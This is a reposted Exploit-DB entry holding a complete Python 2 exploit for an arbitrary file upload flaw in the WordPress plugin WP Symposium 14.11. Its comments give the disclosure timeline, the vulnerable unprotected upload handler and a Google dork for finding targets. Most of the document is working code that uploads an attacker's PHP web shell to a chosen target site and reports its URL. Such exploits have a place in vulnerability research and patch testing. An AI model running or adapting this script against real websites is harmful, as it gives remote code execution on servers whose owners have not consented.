WordPress Plugin WP Symposium 14.11 – Arbitrary File Upload

  • 作者: Claudio Viviani
    日期: 2014-12-15
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/35543/
  • #!/usr/bin/python
    #
    # Exploit Name: WordPress WP Symposium 14.11 Shell Upload Vulnerability
    #
    #
    # Vulnerability discovered by Claudio Viviani
    #
    # Exploit written by Claudio Viviani
    #
    #
    # 2014-11-27:Discovered vulnerability
    # 2014-12-01:Vendor Notification (Twitter)
    # 2014-12-02:Vendor Notification (Web Site) 
    # 2014-12-04:Vendor Notification (E-mail)
    # 2014-12-11:No Response/Feedback
    # 2014-12-11:Published
    #
    # Video Demo + Fix: https://www.youtube.com/watch?v=pF8lIuLT6Vs
    #
    # --------------------------------------------------------------------
    #
    # The upload function located on "/wp-symposium/server/file_upload_form.php " is protected:
    #
    # if ($_FILES["file"]["error"] > 0) {
    # echo "Error: " . $_FILES["file"]["error"] . "<br>";
    # } else {
    # $allowedExts = ','.get_option(WPS_OPTIONS_PREFIX.'_image_ext').','.get_option(WPS_OPTIONS_PREFIX.'_doc_ext').','.get_option(WPS_OPTIONS_PREFIX.'_video_ext');
    # //echo "Upload: " . $_FILES["file"]["name"] . "<br>";
    # $ext = pathinfo($_FILES["file"]["name"], PATHINFO_EXTENSION);
    # //echo "Extension: " . $ext . "<br />";
    # if (strpos($allowedExts, $ext)) {
    # $extAllowed = true;
    # } else {
    # $extAllowed = false;
    # }
    # //echo "Type: " . $_FILES["file"]["type"] . "<br>";
    # //echo "Size: " . ($_FILES["file"]["size"] / 1024) . " kB<br>";
    # //echo "Stored in: " . $_FILES["file"]["tmp_name"];
    #
    # if (!$extAllowed) {
    # echo __('Sorry, file type not allowed.', WPS_TEXT_DOMAIN);
    # } else {
    # // Copy file to tmp location
    # ...
    # ...
    # ...
    #
    # BUTTTTT "/wp-symposium/server/php/index.php" is not protected and "/wp-symposium/server/php/UploadHandler.php" allow any extension
    #
    # The same vulnerable files are locate in "/wp-symposium/mobile-files/server/php/"
    #
    # ---------------------------------------------------------------------
    #
    # Dork google:index of "wp-symposium"
    #
    #
    # Tested on BackBox 3.x with python 2.6
    #
    # Http connection
    import urllib, urllib2, socket
    #
    import sys
    # String manipulator
    import string, random
    # Args management
    import optparse
    # File management
    import os, os.path, mimetypes
    
    # Check url
    def checkurl(url):
    if url[:8] != "https://" and url[:7] != "http://":
    print('[X] You must insert http:// or https:// procotol')
    sys.exit(1)
    else:
    return url
    
    # Check if file exists and has readable
    def checkfile(file):
    if not os.path.isfile(file) and not os.access(file, os.R_OK):
    print '[X] '+file+' file is missing or not readable'
    sys.exit(1)
    else:
    return file
    # Get file's mimetype
    def get_content_type(filename):
    return mimetypes.guess_type(filename)[0] or 'application/octet-stream'
    
    def id_generator(size=6, chars=string.ascii_uppercase + string.ascii_lowercase + string.digits):
    return ''.join(random.choice(chars) for _ in range(size))
    
    # Create multipart header
    def create_body_sh3ll_upl04d(payloadname, randDirName, randShellName):
    
     getfields = dict()
     getfields['uploader_uid'] = '1'
     getfields['uploader_dir'] = './'+randDirName
     getfields['uploader_url'] = url_symposium_upload
    
     payloadcontent = open(payloadname).read()
    
     LIMIT = '----------lImIt_of_THE_fIle_eW_$'
     CRLF = '\r\n'
    
     L = []
     for (key, value) in getfields.items():
    L.append('--' + LIMIT)
    L.append('Content-Disposition: form-data; name="%s"' % key)
    L.append('')
    L.append(value)
    
     L.append('--' + LIMIT)
     L.append('Content-Disposition: form-data; name="%s"; filename="%s"' % ('files[]', randShellName+".php"))
     L.append('Content-Type: %s' % get_content_type(payloadname))
     L.append('')
     L.append(payloadcontent)
     L.append('--' + LIMIT + '--')
     L.append('')
     body = CRLF.join(L)
     return body
    
    banner = """
    ___ ___ __
     | Y .-----.----.--|.-----.----.-----.-----.-----.
     |.| |_| _|_|_| _|-__|__ --|__ --|
     |. / \|_____|__| |_____| __|__| |_____|_____|_____|
     |:||__|
     |::.|:. |
     `--- ---'
    ___ ___ ________________
     | Y | _ |______| _ .--.--.--------.-----.-----.-----|__.--.--.--------.
     |.| |.1 |______| 1___||||_|_|__ --|||||
     |. / \|.____||____ |___|__|__|__| __|_____|_____|__|_____|__|__|__|
     |:|:||:1 |_____||__|
     |::.|:. |::.||::.. . |
     `--- ---`---'`-------'
    Wp-Symposium
    Sh311 Upl04d Vuln3r4b1l1ty
    v14.11
    
     Written by:
    
     Claudio Viviani
    
    http://www.homelab.it
    
     info@homelab.it
     homelabit@protonmail.ch
    
    https://www.facebook.com/homelabit
    https://twitter.com/homelabit
    https://plus.google.com/+HomelabIt1/
     https://www.youtube.com/channel/UCqqmSdMqf_exicCe_DjlBww
    """
    
    commandList = optparse.OptionParser('usage: %prog -t URL -f FILENAME.PHP [--timeout sec]')
    commandList.add_option('-t', '--target', action="store",
    help="Insert TARGET URL: http[s]://www.victim.com[:PORT]",
    )
    commandList.add_option('-f', '--file', action="store",
    help="Insert file name, ex: shell.php",
    )
    commandList.add_option('--timeout', action="store", default=10, type="int",
    help="[Timeout Value] - Default 10",
    )
    
    options, remainder = commandList.parse_args()
    
    # Check args
    if not options.target or not options.file:
    print(banner)
    commandList.print_help()
    sys.exit(1)
    
    payloadname = checkfile(options.file)
    host = checkurl(options.target)
    timeout = options.timeout
    
    print(banner)
    
    socket.setdefaulttimeout(timeout)
    
    url_symposium_upload = host+'/wp-content/plugins/wp-symposium/server/php/'
    
    content_type = 'multipart/form-data; boundary=----------lImIt_of_THE_fIle_eW_$'
    
    randDirName = id_generator()
    randShellName = id_generator()
    
    bodyupload = create_body_sh3ll_upl04d(payloadname, randDirName, randShellName)
    
    headers = {'User-Agent': 'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.125 Safari/537.36',
     'content-type': content_type,
     'content-length': str(len(bodyupload)) }
    
    try:
    req = urllib2.Request(url_symposium_upload+'index.php', bodyupload, headers)
    response = urllib2.urlopen(req)
    read = response.read()
    
    if "error" in read or read == "0" or read == "":
     print("[X] Upload Failed :(")
    else:
     print("[!] Shell Uploaded")
     print("[!] Location: "+url_symposium_upload+randDirName+randShellName+".php\n")
    
    except urllib2.HTTPError as e:
    print("[X] "+str(e))
    except urllib2.URLError as e:
    print("[X] Connection Error: "+str(e))